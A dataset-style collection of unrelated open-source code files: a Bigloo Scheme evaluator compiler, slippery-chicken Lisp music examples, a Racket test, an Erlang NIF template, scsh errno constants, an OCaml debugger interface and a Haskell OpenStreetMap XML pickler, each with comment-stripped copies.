(or (evcompile-inline2 loc name fun a0 a1)
(evcode 33 loc name proc (car args) (cadr args)))))
(evcode 33 loc name proc (car args) (cadr args))))
((3)
(evcode 34 loc name proc (car args) (cadr args) (caddr args)))
((4)
(evcode 35 loc name proc (car args) (cadr args) (caddr args) (cadddr args)))
(else
(evcode 36 loc name proc args)))))
(define (evcompile-inline1 loc name fun a0)
(let ((f (eval-global-value fun)))
(cond
((eq? f car)
(evcode 158 loc name fun a0))
((eq? f cdr)
(evcode 159 loc name fun a0))
((eq? f cadr)
(evcode 160 loc name fun a0))
(else
#f))))
(define (evcompile-inline2 loc name fun a0 a1)
(let ((f (eval-global-value fun)))
(cond
((eq? f +)
(evcode 147 loc name fun a0 a1))
((eq? f -)
(evcode 148 loc name fun a0 a1))
((eq? f *)
(evcode 149 loc name fun a0 a1))
((eq? f /)
(evcode 150 loc name fun a0 a1))
((eq? f <)
(evcode 151 loc name fun a0 a1))
((eq? f >)
(evcode 152 loc name fun a0 a1))
((eq? f <=)
(evcode 153 loc name fun a0 a1))
((eq? f >=)
(evcode 154 loc name fun a0 a1))
((eq? f =)
(evcode 155 loc name fun a0 a1))
((eq? f eq?)
(evcode 156 loc name fun a0 a1))
((eq? f cons)
(evcode 157 loc name fun a0 a1))
((eq? f +fx)
(evcode 166 loc name fun a0 a1))
((eq? f -fx)
(evcode 167 loc name fun a0 a1))
((eq? f *fx)
(evcode 168 loc name fun a0 a1))
((eq? f /fx)
(evcode 169 loc name fun a0 a1))
((eq? f <fx)
(evcode 170 loc name fun a0 a1))
((eq? f >fx)
(evcode 171 loc name fun a0 a1))
((eq? f <=fx)
(evcode 172 loc name fun a0 a1))
((eq? f >=fx)
(evcode 173 loc name fun a0 a1))
((eq? f =fx)
(evcode 174 loc name fun a0 a1))
(else
#f))))
(define (evcompile-lambda formals body where loc)
(define (traced?)
(and (symbol? where) (not (getprop where 'non-user))))
(match-case formals
((or () (?-) (?- ?-) (?- ?- ?-) (?- ?- ?- ?-))
(if (traced?)
(evcode (+fx (length formals) 37) loc body where)
(evcode (+fx (length formals) 42) loc body)))
((atom ?-)
(if (traced?)
(evcode 47 loc body where)
(evcode 51 loc body)))
(((atom ?-) . (atom ?-))
(if (traced?)
(evcode 48 loc body where)
(evcode 52 loc body)))
(((atom ?-) (atom ?-) . (atom ?-))
(if (traced?)
(evcode 49 loc body where)
(evcode 53 loc body)))
(((atom ?-) (atom ?-) (atom ?-) . (atom ?-))
(if (traced?)
(evcode 50 loc body where)
(evcode 54 loc body)))
(else
(if (traced?)
(evcode 55 loc body where formals)
(evcode 56 loc body formals)))))
(define (evcompile-let bindings body env genv where tail loc lkp)
(let* ((env2 (extend-env (map car bindings) env))
(b (evcompile body env2 genv where tail loc lkp #f))
(as (map (lambda (a)
(let ((loc (get-location a loc))
(n (if (eq? where '_)
(car a)
(symbol-append (car a) '@ where))))
(evcompile (cadr a) env genv n #f loc lkp #f)))
bindings)))
(evcode 65 loc b (reverse! as))))
(define (evcompile-let* bindings body env genv where tail loc lkp)
(let loop ((bdgs bindings)
(as '())
(env3 env))
(if (null? bdgs)
(let* ((env2 (extend-env (reverse! (map car bindings)) env))
(bd (evcompile body env2 genv where tail loc lkp #f)))
(evcode 66 loc bd (reverse! as)))
(let* ((b (car bdgs))
(loc (get-location b loc))
(n (if (eq? where '_)
(car b)
(symbol-append (car b) '@ where)))
(a (evcompile (cadr b) env3 genv n #f loc lkp #f)))
(loop (cdr bdgs)
(cons a as)
(extend-env (list (car b)) env3))))))
(define (evcompile-letrec bindings body env genv where tail loc lkp)
(if (every (lambda (x)
(and (pair? x)
(pair? (cadr x))
(eq? (car (cadr x)) 'lambda)))
bindings)
(evcompile-letrec-lambda bindings body env genv where tail loc lkp)
(evcompile-letrec-generic bindings body env genv where tail loc lkp)))
(define (evcompile-letrec-lambda bindings body env genv where tail loc lkp)
(let* ((env2 (extend-env (map car bindings) env))
(b (evcompile body env2 genv where tail loc lkp #f))
(as (map (lambda (a)
(let ((loc (get-location a loc))
(n (if (eq? where '_)
(car a)
(symbol-append (car a) '@ where))))
(evcompile (cadr a) env2 genv n #f loc lkp #f)))
bindings)))
(evcode 70 loc b as)))
(define (evcompile-letrec-generic bindings body env genv where tail loc lkp)
(let* ((aux (map (lambda (x) (gensym)) bindings))
(exp `(let ,(map (lambda (b)
(list (car b) #unspecified))
bindings)
(let ,(map (lambda (n b)
(cons n (cdr b)))
aux bindings)
(begin
,@(map (lambda (n b)
`(set! ,(car b) ,n))
aux bindings)
,body)))))
(evcompile exp env genv where tail loc lkp #f)))
(define (variable loc symbol env genv)
(if (not (symbol? symbol))
(evcompile-error loc "eval" "Illegal `set!' expression" symbol)
(let ((offset (let loop ((env env)
(count 0))
(cond
((null? env)
#f)
((eq? (caar env) symbol)
count)
(else
(loop (cdr env) (+fx count 1)))))))
(if offset
offset
(let* ((mod (if (evmodule? genv) genv ($eval-module)))
(global (evmodule-find-global mod symbol)))
(if (not global)
(cons 'dynamic symbol)
global))))))
(define (@variable loc symbol env genv modname)
(let* ((mod (eval-find-module modname))
(global (evmodule-find-global mod symbol)))
(if (not global)
(if (eq? genv mod)
(cons 'dynamic symbol)
(evcompile-error loc "eval"
"variable unbound" `(@ ,symbol ,modname)))
global)))
(define-inline (dynamic? variable)
(and (pair? variable)
(eq? (car variable) 'dynamic)))
(define-inline (dynamic-name dynamic)
(cdr dynamic))
(define (untype-ident id)
(if (not (symbol? id))
id
(let* ((string (symbol->string id))
(len (string-length string)))
(let loop ((walker 0))
(cond
((=fx walker len)
id)
((and (char=? (string-ref string walker) #\:)
(<fx walker (-fx len 1))
(char=? (string-ref string (+fx walker 1)) #\:))
(string->symbol (substring string 0 walker)))
(else
(loop (+fx walker 1))))))))
(define (extend-env frames env)
(define (extend-one var env)
(let* ((string (symbol->string! var))
(len (string-length string)))
(let loop ((walker 0))
(cond
((=fx walker len)
(cons (cons var #f) env))
((and (char=? (string-ref-ur string walker) #\:)
(<fx walker (-fx len 1))
(char=? (string-ref string (+fx walker 1)) #\:))
(let ((id (string->symbol (substring string 0 walker)))
(type (string->symbol (substring string (+fx walker 2)))))
(cons (cons id (or (class-exists type) type)) env)))
(else
(loop (+fx walker 1)))))))
(let loop ((frames frames))
(cond
((null? frames)
env)
((not (pair? frames))
(extend-one frames env))
(else
(extend-one (car frames) (loop (cdr frames)))))))
(define (evcompile-loc-filename loc)
(match-case loc
((at ?fname ?loc) fname)
(else #f)))
(define (evcompile-error loc proc mes obj)
(match-case loc
((at ?fname ?loc)
(error/location proc mes obj fname loc))
(else
(error proc mes obj))))
(define *included-files* '())
(define *imported-files* '())
(define *afile-list* '())
(define (include! includes)
(for-each (lambda (i)
(if (not (member i *included-files*))
(begin
(set! *included-files* (cons i *included-files*))
(loadq i))))
includes))
(define (import! iclauses)
(let ((l (map (lambda (i)
(match-case i
((?- ?second)
(if (string? second)
second
(let ((cell (assq second *afile-list*)))
(if (pair? cell)
(cadr cell)
#f))))
((?- ?- ?third)
third)
(?module
(let ((cell (assq module *afile-list*)))
(if (pair? cell)
(cadr cell)
#f)))
(else
#f)))
iclauses)))
(for-each (lambda (i)
(if (and (string? i)
(not (member i *imported-files*)))
(begin
(set! *imported-files* (cons i *imported-files*))
(loadq i))))
l)))
(define (evcompile-field-ref exp env genv where tail loc lkp toplevelp)
(let* ((l (cdr exp))
(v (variable loc (car l) env genv)))
(if (not (integer? v))
(evcompile-error loc "eval" "Static type not a class" exp)
(let loop ((node (car l))
(klass (cdr (list-ref env v)))
(fields (cdr l)))
(cond
((null? fields)
(evcompile node env genv where tail loc lkp toplevelp))
((not (class? klass))
(evcompile-error loc "eval" "Static type not a class" exp))
(else
(let ((field (find-class-field klass (car fields))))
(if (not field)
(evcompile-error loc "eval"
(format "Class \"~a\" has not field \"~a\""
(class-name klass) (car fields))
exp)
(let ((node (make-field-ref klass field node)))
(loop node
(class-field-type field)
(cdr fields)))))))))))
(define (evcompile-field-set l val exp env genv where tail loc lkp toplevelp)
(let ((v (variable loc (car l) env genv)))
(if (not (integer? v))
(evcompile-error loc "set!" "Static type not a class" exp)
(let loop ((node (car l))
(klass (cdr (list-ref env v)))
(fields (cdr l)))
(if (not (class? klass))
(evcompile-error loc "set!" "Static type not a class" exp)
(let ((field (find-class-field klass (car fields))))
(cond
((not field)
(evcompile-error loc "set!"
(format "Class \"~a\" has not field \"~a\""
(class-name klass) (car fields))
exp))
((null? (cdr fields))
(if (class-field-mutable? field)
(evcompile (make-field-set! klass field node val)
env genv where tail loc lkp toplevelp)
(evcompile-error loc "eval" "Field read-only" exp)))
(else
(let ((node (make-field-ref klass field node)))
(loop node
(class-field-type field)
(cdr fields)))))))))))
(define (make-field-ref kclass field exp)
`(,(class-field-accessor field) ,exp))
(define (make-field-set! kclass field var val)
`(,(class-field-mutator field) ,var ,val))
|
508eaa9ce78eeb52d4893d75e220e9d5917d97f0f7d50a0293c6c18f0ea728bc | mdedwards/slippery-chicken | enharmonics-examples.lsp | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; File: enharmonics-examples.lsp
;;;
Class Hierarchy : None
;;;
Version : 1.0
;;;
;;; Project: slippery chicken (algorithmic composition)
;;;
;;; Purpose: Lisp example code to accompany enharmonics.html
;;;
Author :
;;;
Creation date : 23rd November 2012
;;;
$ $ Last modified : 22:41:46 Fri May 17 2013 BST
;;;
SVN ID : $ I d : enharmonics-examples.lsp 3538 2013 - 05 - 18 08:29:15Z medward2 $
;;;
;;; ****
Licence : Copyright ( c ) 2012
;;;
;;; This file is part of slippery-chicken
;;;
;;; slippery-chicken is free software; you can redistribute it
;;; and/or modify it under the terms of the GNU General
Public License as published by the Free Software
Foundation ; either version 3 of the License , or ( at your
;;; option) any later version.
;;;
;;; slippery-chicken is distributed in the hope that it will
;;; be useful, but WITHOUT ANY WARRANTY; without even the
;;; implied warranty of MERCHANTABILITY or FITNESS FOR A
;;; PARTICULAR PURPOSE. See the GNU General Public License
;;; for more details.
;;;
You should have received a copy of the GNU General Public
;;; License along with slippery-chicken; if not, write to the
Free Software Foundation , Inc. , 59 Temple Place , Suite
330 , Boston , MA 02111 - 1307 USA
;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; enharmonic
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
(let ((mini
(make-slippery-chicken
'+mini+
:ensemble '(((vn (violin :midi-channel 1))))
:set-palette '((1 ((cs4 fs4 gs4 c5))))
:set-map '((1 (1 1 1)))
:rthm-seq-palette '((1 ((((2 4) q - e s s -))
:pitch-seq-palette ((1 2 3 4)))))
:rthm-seq-map '((1 ((vn (1 1 1))))))))
(enharmonic (get-event mini 2 1 'vn))
(enharmonic (get-event mini 3 4 'vn) :force-naturals t)
(cmn-display mini :respell-notes nil)
(write-lp-data-for-all mini :respell-notes nil))
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; enharmonics
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
(let ((mini
(make-slippery-chicken
'+mini+
:ensemble '(((fl (flute :midi-channel 1))
(ob (oboe :midi-channel 2))))
:set-palette '((1 ((cs4 fs4 gs4 c5 ds5))))
:set-limits-low '((fl (0 fs4 100 fs4)))
:set-limits-high '((ob (0 c5 100 c5)))
:avoid-used-notes nil
:set-map '((1 (1 1 1 1 1 1 1 1)))
:rthm-seq-palette '((1 ((((2 4) q - e s s -))
:pitch-seq-palette ((1 2 3 4)))))
:rthm-seq-map '((1 ((fl (1 1 1 1 1 1 1 1))
(ob (1 1 1 1 1 1 1 1))))))))
(enharmonics mini 2 4 'fl)
(enharmonics mini '(5 1) '(7 2) 'ob :pitches '(fs4 gs4))
(cmn-display mini :respell-notes nil)
(write-lp-data-for-all mini :respell-notes nil))
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
respell - notes
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
(let ((mini
(make-slippery-chicken
'+mini+
:ensemble '(((fl (flute :midi-channel 1))
(ob (oboe :midi-channel 2))))
:set-palette '((1 ((cs4 fs4 gs4 c5 ds5))))
:set-limits-low '((fl (0 fs4 100 fs4)))
:set-limits-high '((ob (0 c5 100 c5)))
:avoid-used-notes nil
:set-map '((1 (1 1 1)))
:rthm-seq-palette '((1 ((((2 4) q - e s s -))
:pitch-seq-palette ((1 2 3 4)))))
:rthm-seq-map '((1 ((fl (1 1 1))
(ob (1 1 1))))))))
(respell-notes mini '((fl (2 1) (2 2) (2 3))
(ob (3 2) (3 3) (3 4))))
(cmn-display mini :respell-notes nil)
(write-lp-data-for-all mini :respell-notes nil))
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
EOF enharmonics-examples.lsp | null | https://raw.githubusercontent.com/mdedwards/slippery-chicken/c1c11fadcdb40cd869d5b29091ba5e53c5270e04/doc/examples/enharmonics-examples.lsp | lisp |
File: enharmonics-examples.lsp
Project: slippery chicken (algorithmic composition)
Purpose: Lisp example code to accompany enharmonics.html
****
This file is part of slippery-chicken
slippery-chicken is free software; you can redistribute it
and/or modify it under the terms of the GNU General
either version 3 of the License , or ( at your
option) any later version.
slippery-chicken is distributed in the hope that it will
be useful, but WITHOUT ANY WARRANTY; without even the
implied warranty of MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE. See the GNU General Public License
for more details.
License along with slippery-chicken; if not, write to the
enharmonic
enharmonics
| Class Hierarchy : None
Version : 1.0
Author :
Creation date : 23rd November 2012
$ $ Last modified : 22:41:46 Fri May 17 2013 BST
SVN ID : $ I d : enharmonics-examples.lsp 3538 2013 - 05 - 18 08:29:15Z medward2 $
Licence : Copyright ( c ) 2012
Public License as published by the Free Software
You should have received a copy of the GNU General Public
Free Software Foundation , Inc. , 59 Temple Place , Suite
330 , Boston , MA 02111 - 1307 USA
(let ((mini
(make-slippery-chicken
'+mini+
:ensemble '(((vn (violin :midi-channel 1))))
:set-palette '((1 ((cs4 fs4 gs4 c5))))
:set-map '((1 (1 1 1)))
:rthm-seq-palette '((1 ((((2 4) q - e s s -))
:pitch-seq-palette ((1 2 3 4)))))
:rthm-seq-map '((1 ((vn (1 1 1))))))))
(enharmonic (get-event mini 2 1 'vn))
(enharmonic (get-event mini 3 4 'vn) :force-naturals t)
(cmn-display mini :respell-notes nil)
(write-lp-data-for-all mini :respell-notes nil))
(let ((mini
(make-slippery-chicken
'+mini+
:ensemble '(((fl (flute :midi-channel 1))
(ob (oboe :midi-channel 2))))
:set-palette '((1 ((cs4 fs4 gs4 c5 ds5))))
:set-limits-low '((fl (0 fs4 100 fs4)))
:set-limits-high '((ob (0 c5 100 c5)))
:avoid-used-notes nil
:set-map '((1 (1 1 1 1 1 1 1 1)))
:rthm-seq-palette '((1 ((((2 4) q - e s s -))
:pitch-seq-palette ((1 2 3 4)))))
:rthm-seq-map '((1 ((fl (1 1 1 1 1 1 1 1))
(ob (1 1 1 1 1 1 1 1))))))))
(enharmonics mini 2 4 'fl)
(enharmonics mini '(5 1) '(7 2) 'ob :pitches '(fs4 gs4))
(cmn-display mini :respell-notes nil)
(write-lp-data-for-all mini :respell-notes nil))
respell - notes
(let ((mini
(make-slippery-chicken
'+mini+
:ensemble '(((fl (flute :midi-channel 1))
(ob (oboe :midi-channel 2))))
:set-palette '((1 ((cs4 fs4 gs4 c5 ds5))))
:set-limits-low '((fl (0 fs4 100 fs4)))
:set-limits-high '((ob (0 c5 100 c5)))
:avoid-used-notes nil
:set-map '((1 (1 1 1)))
:rthm-seq-palette '((1 ((((2 4) q - e s s -))
:pitch-seq-palette ((1 2 3 4)))))
:rthm-seq-map '((1 ((fl (1 1 1))
(ob (1 1 1))))))))
(respell-notes mini '((fl (2 1) (2 2) (2 3))
(ob (3 2) (3 3) (3 4))))
(cmn-display mini :respell-notes nil)
(write-lp-data-for-all mini :respell-notes nil))
EOF enharmonics-examples.lsp |
1676afaab7a02cb2743d879ac2bde7afb3b2f575147dd2f84281a2a35afd595c | hexlet-basics/exercises-racket | test.rkt | #lang racket
(require (only-in rackunit check-equal? test-begin))
(require "index.rkt")
(test-begin
(check-equal?
(maps
(list)
(list))
(list))
(check-equal?
(maps (list add1)
(list (list 0)))
(list (list 1)))
(check-equal?
(maps
(list add1 string?)
(list (list 0 100)
(list "foo" 42)))
(list (list 1 101)
(list #t #f))))
| null | https://raw.githubusercontent.com/hexlet-basics/exercises-racket/ae3a45453584de1e5082c841178d4e43dd47e08a/modules/40-lists/20-builtin-loops-map/test.rkt | racket | #lang racket
(require (only-in rackunit check-equal? test-begin))
(require "index.rkt")
(test-begin
(check-equal?
(maps
(list)
(list))
(list))
(check-equal?
(maps (list add1)
(list (list 0)))
(list (list 1)))
(check-equal?
(maps
(list add1 string?)
(list (list 0 100)
(list "foo" 42)))
(list (list 1 101)
(list #t #f))))
| |
ab8906883193fafc0076c82352065b83c4b8aa1a09c766b9f51276025d72a24f | apache/couchdb-rebar | basicnif.erl | -module({{module}}).
-export([new/0,
myfunction/1]).
-on_load(init/0).
-define(nif_stub, nif_stub_error(?LINE)).
nif_stub_error(Line) ->
erlang:nif_error({nif_not_loaded,module,?MODULE,line,Line}).
-ifdef(TEST).
-include_lib("eunit/include/eunit.hrl").
-endif.
init() ->
PrivDir = case code:priv_dir(?MODULE) of
{error, bad_name} ->
EbinDir = filename:dirname(code:which(?MODULE)),
AppPath = filename:dirname(EbinDir),
filename:join(AppPath, "priv");
Path ->
Path
end,
erlang:load_nif(filename:join(PrivDir, ?MODULE), 0).
new() ->
?nif_stub.
myfunction(_Ref) ->
?nif_stub.
%% ===================================================================
EUnit tests
%% ===================================================================
-ifdef(TEST).
basic_test() ->
{ok, Ref} = new(),
?assertEqual(ok, myfunction(Ref)).
-endif.
| null | https://raw.githubusercontent.com/apache/couchdb-rebar/8578221c20d0caa3deb724e5622a924045ffa8bf/priv/templates/basicnif.erl | erlang | ===================================================================
=================================================================== | -module({{module}}).
-export([new/0,
myfunction/1]).
-on_load(init/0).
-define(nif_stub, nif_stub_error(?LINE)).
nif_stub_error(Line) ->
erlang:nif_error({nif_not_loaded,module,?MODULE,line,Line}).
-ifdef(TEST).
-include_lib("eunit/include/eunit.hrl").
-endif.
init() ->
PrivDir = case code:priv_dir(?MODULE) of
{error, bad_name} ->
EbinDir = filename:dirname(code:which(?MODULE)),
AppPath = filename:dirname(EbinDir),
filename:join(AppPath, "priv");
Path ->
Path
end,
erlang:load_nif(filename:join(PrivDir, ?MODULE), 0).
new() ->
?nif_stub.
myfunction(_Ref) ->
?nif_stub.
EUnit tests
-ifdef(TEST).
basic_test() ->
{ok, Ref} = new(),
?assertEqual(ok, myfunction(Ref)).
-endif.
|
cc444bcb4cc34c7d04c71dc7afc1bbd98040f130d779a26de7a3d471b6d80b44 | cardmagic/lucash | errno.scm | ;;; Errno constant definitions.
Copyright ( c ) 1993 by . See file COPYING .
Copyright ( c ) 1994 by .
These are the correct values for Linux systems .
is not a legit Scheme symbol . , lose .
(define-enum-constants errno
(perm 1) ; Not super-user
(noent 2) ; No such file or directory
(srch 3) ; No such process
(intr 4) ; Interrupted system call
(io 5) ; I/O error
(nxio 6) ; No such device or address
(2big 7) ; Arg list too long
Exec format error
(badf 9) ; Bad file number
(child 10) ; No children
(again 11) ; No more processes
(wouldblock 11) ; EAGAIN again
(nomem 12) ; Not enough core
(acces 13) ; Permission denied
(fault 14) ; Bad address
(notblk 15) ; Block device required
(busy 16) ; Mount device busy
(exist 17) ; File exists
(xdev 18) ; Cross-device link
(nodev 19) ; No such device
(notdir 20) ; Not a directory
(isdir 21) ; Is a directory
Invalid argument
(nfile 23) ; Too many open files in system
(mfile 24) ; Too many open files
(notty 25) ; Not a typewriter
(txtbsy 26) ; Text file busy
(fbig 27) ; File too large
(nospc 28) ; No space left on device
(spipe 29) ; Illegal seek
(rofs 30) ; Read only file system
(mlink 31) ; Too many links
(pipe 32) ; Broken pipe
(dom 33) ; Math arg out of domain of func
(range 34) ; Math result not representable
(nomsg 35) ; No message of desired type
(idrm 36) ; Identifier removed
(chrng 37) ; Channel number out of range
(l2nsync 38) ; Level 2 not synchronized
(l3hlt 39) ; Level 3 halted
(l3rst 40) ; Level 3 reset
(lnrng 41) ; Link number out of range
(unatch 42) ; Protocol driver not attached
(nocsi 43) ; No CSI structure available
(l2hlt 44) ; Level 2 halted
(deadlk 45) ; Deadlock condition
(nolck 46) ; No record locks available
Invalid exchange
Invalid request descriptor
(xfull 52) ; Exchange full
(noano 53) ; No anode
Invalid request code
Invalid slot
(deadlock 56) ; File locking deadlock error
(bfont 57) ; Bad font file fmt
(nostr 60) ; Device not a stream
(nodata 61) ; No data (for no delay io)
Timer expired
(nosr 63) ; Out of streams resources
(nonet 64) ; Machine is not on the network
(nopkg 65) ; Package not installed
(remote 66) ; The object is remote
(nolink 67) ; The link has been severed
(adv 68) ; Advertise error
(srmnt 69) ; Srmount error
(comm 70) ; Communication error on send
Protocol error
attempted
Inode is remote ( not really error )
Cross mount point ( not really error )
(badmsg 77) ; Trying to read unreadable message
(notuniq 80) ; Given log. name not unique
(badfd 81) ; f.d. invalid for this operation
(remchg 82) ; Remote address changed
(libacc 83) ; Can't access a needed shared lib
(libbad 84) ; Accessing a corrupted shared lib
(libscn 85) ; .lib section in a.out corrupted
Attempting to link in too many libs
(libexec 87) ; Attempting to exec a shared library
(nosys 88) ; Function not implemented
(nmfile 89) ; No more files
(notempty 90) ; Directory not empty
(nametoolong 91) ; File or path name too long
(loop 92) ; Too many symbolic links
(opnotsupp 95) ; Operation not supported on transport endpoint
Protocol family not supported
(connreset 104) ; Connection reset by peer
(nobufs 105) ; No buffer space available
(afnosupport 106) ;
(prototype 107) ;
(notsock 108) ;
(noprotoopt 109) ;
(shutdown 110) ;
Connection refused
(addrinuse 112) ; Address already in use
(connaborted 113) ; Connection aborted
(netunreach 114) ;
(netdown 115) ;
(timedout 116) ;
(hostdown 117) ;
(hostunreach 118) ;
(inprogress 119) ;
(already 120) ;
(destaddrreq 121) ;
(msgsize 122) ;
(protonosupport 123) ;
(socktnosupport 124) ;
(addrnotavail 125) ;
(netreset 126) ;
(isconn 127) ;
(notconn 128) ;
(toomanyrefs 129) ;
(proclim 130) ;
(users 131) ;
(dquot 132) ;
(stale 133) ;
(notsup 134)) ;
| null | https://raw.githubusercontent.com/cardmagic/lucash/0452d410430d12140c14948f7f583624f819cdad/reference/scsh-0.6.6/scsh/linux/errno.scm | scheme | Errno constant definitions.
Not super-user
No such file or directory
No such process
Interrupted system call
I/O error
No such device or address
Arg list too long
Bad file number
No children
No more processes
EAGAIN again
Not enough core
Permission denied
Bad address
Block device required
Mount device busy
File exists
Cross-device link
No such device
Not a directory
Is a directory
Too many open files in system
Too many open files
Not a typewriter
Text file busy
File too large
No space left on device
Illegal seek
Read only file system
Too many links
Broken pipe
Math arg out of domain of func
Math result not representable
No message of desired type
Identifier removed
Channel number out of range
Level 2 not synchronized
Level 3 halted
Level 3 reset
Link number out of range
Protocol driver not attached
No CSI structure available
Level 2 halted
Deadlock condition
No record locks available
Exchange full
No anode
File locking deadlock error
Bad font file fmt
Device not a stream
No data (for no delay io)
Out of streams resources
Machine is not on the network
Package not installed
The object is remote
The link has been severed
Advertise error
Srmount error
Communication error on send
Trying to read unreadable message
Given log. name not unique
f.d. invalid for this operation
Remote address changed
Can't access a needed shared lib
Accessing a corrupted shared lib
.lib section in a.out corrupted
Attempting to exec a shared library
Function not implemented
No more files
Directory not empty
File or path name too long
Too many symbolic links
Operation not supported on transport endpoint
Connection reset by peer
No buffer space available
Address already in use
Connection aborted
| Copyright ( c ) 1993 by . See file COPYING .
Copyright ( c ) 1994 by .
These are the correct values for Linux systems .
is not a legit Scheme symbol . , lose .
(define-enum-constants errno
Exec format error
Invalid argument
Invalid exchange
Invalid request descriptor
Invalid request code
Invalid slot
Timer expired
Protocol error
attempted
Inode is remote ( not really error )
Cross mount point ( not really error )
Attempting to link in too many libs
Protocol family not supported
Connection refused
|
bd8152a9380220482638f57c7768b8248017722c224e1f7ce42ce8353d8bfd79 | bsansouci/bsb-native | eval.mli | (***********************************************************************)
(* *)
(* OCaml *)
(* *)
, projet Cristal , INRIA Rocquencourt
OCaml port by and
(* *)
Copyright 1996 Institut National de Recherche en Informatique et
en Automatique . All rights reserved . This file is distributed
under the terms of the Q Public License version 1.0 .
(* *)
(***********************************************************************)
open Types
open Parser_aux
open Format
val expression :
Instruct.debug_event option -> Env.t -> expression ->
Debugcom.Remote_value.t * type_expr
type error =
| Unbound_identifier of Ident.t
| Not_initialized_yet of Path.t
| Unbound_long_identifier of Longident.t
| Unknown_name of int
| Tuple_index of type_expr * int * int
| Array_index of int * int
| List_index of int * int
| String_index of string * int * int
| Wrong_item_type of type_expr * int
| Wrong_label of type_expr * string
| Not_a_record of type_expr
| No_result
exception Error of error
val report_error: formatter -> error -> unit
| null | https://raw.githubusercontent.com/bsansouci/bsb-native/9a89457783d6e80deb0fba9ca7372c10a768a9ea/vendor/ocaml/debugger/eval.mli | ocaml | *********************************************************************
OCaml
********************************************************************* | , projet Cristal , INRIA Rocquencourt
OCaml port by and
Copyright 1996 Institut National de Recherche en Informatique et
en Automatique . All rights reserved . This file is distributed
under the terms of the Q Public License version 1.0 .
open Types
open Parser_aux
open Format
val expression :
Instruct.debug_event option -> Env.t -> expression ->
Debugcom.Remote_value.t * type_expr
type error =
| Unbound_identifier of Ident.t
| Not_initialized_yet of Path.t
| Unbound_long_identifier of Longident.t
| Unknown_name of int
| Tuple_index of type_expr * int * int
| Array_index of int * int
| List_index of int * int
| String_index of string * int * int
| Wrong_item_type of type_expr * int
| Wrong_label of type_expr * string
| Not_a_record of type_expr
| No_result
exception Error of error
val report_error: formatter -> error -> unit
|
732586e2d38377405859ca3237f3a71ac3559efd06dcb989bb91a38b4a256281 | tonymorris/geo-osm | Children.hs | | The children elements of the @osm@ element of a OSM file .
module Data.Geo.OSM.Children
(
Children
, osmUser
, osmGpxFile
, osmApi
, osmChangeset
, osmNodeWayRelation
, foldChildren
) where
import Text.XML.HXT.Arrow.Pickle
import Data.Geo.OSM.User
import Data.Geo.OSM.Preferences
import Data.Geo.OSM.GpxFile
import Data.Geo.OSM.Api
import Data.Geo.OSM.Changeset
import Data.Geo.OSM.NodeWayRelation
| The children elements of the @osm@ element of a OSM file .
data Children =
User User
| Preferences Preferences
| GpxFile GpxFile
| Api Api
| Changeset Changeset
| NWR [NodeWayRelation]
deriving Eq
instance XmlPickler Children where
xpickle =
xpAlt (\r -> case r of
User _ -> 0
Preferences _ -> 1
GpxFile _ -> 2
Api _ -> 3
Changeset _ -> 4
NWR _ -> 5) [xpWrap (User, \(User u) -> u) xpickle,
xpWrap (Preferences, \(Preferences p) -> p) xpickle,
xpWrap (GpxFile, \(GpxFile f) -> f) xpickle,
xpWrap (Api, \(Api a) -> a) xpickle,
xpWrap (Changeset, \(Changeset c) -> c) xpickle,
xpWrap (NWR, \(NWR k) -> k) (xpList xpickle)]
instance Show Children where
show =
showPickled []
-- | A @user@ element.
osmUser ::
User
-> Children
osmUser =
User
-- | A @gpx_file@ element.
osmGpxFile ::
GpxFile
-> Children
osmGpxFile =
GpxFile
-- | A @api@ element.
osmApi ::
Api
-> Children
osmApi =
Api
-- | A @changeset@ element.
osmChangeset ::
Changeset
-> Children
osmChangeset =
Changeset
-- | A list of @node@, @way@ or @relation@ elements.
osmNodeWayRelation ::
[NodeWayRelation]
-> Children
osmNodeWayRelation =
NWR
-- | Folds OSM child elements (catamorphism).
foldChildren ::
(User -> a) -- ^ If a @user@ element.
-> (Preferences -> a) -- ^ If a @preferences@ element.
-> (GpxFile -> a) -- ^ If a @gpx_file@ element.
-> (Api -> a) -- ^ If a @api@ element.
-> (Changeset -> a) -- ^ If a @changeset@ element.
-> ([NodeWayRelation] -> a) -- ^ If a list of @node@, @way@ or @relation@ elements.
-> Children -- ^ The disjunctive type of child elements.
-> a
foldChildren z _ _ _ _ _ (User u) =
z u
foldChildren _ z _ _ _ _ (Preferences p) =
z p
foldChildren _ _ z _ _ _ (GpxFile f) =
z f
foldChildren _ _ _ z _ _ (Api a) =
z a
foldChildren _ _ _ _ z _ (Changeset c) =
z c
foldChildren _ _ _ _ _ z (NWR k) =
z k
| null | https://raw.githubusercontent.com/tonymorris/geo-osm/776542be2fd30a05f0f9e867128eca5ad5d66bec/src/Data/Geo/OSM/Children.hs | haskell | | A @user@ element.
| A @gpx_file@ element.
| A @api@ element.
| A @changeset@ element.
| A list of @node@, @way@ or @relation@ elements.
| Folds OSM child elements (catamorphism).
^ If a @user@ element.
^ If a @preferences@ element.
^ If a @gpx_file@ element.
^ If a @api@ element.
^ If a @changeset@ element.
^ If a list of @node@, @way@ or @relation@ elements.
^ The disjunctive type of child elements. | | The children elements of the @osm@ element of a OSM file .
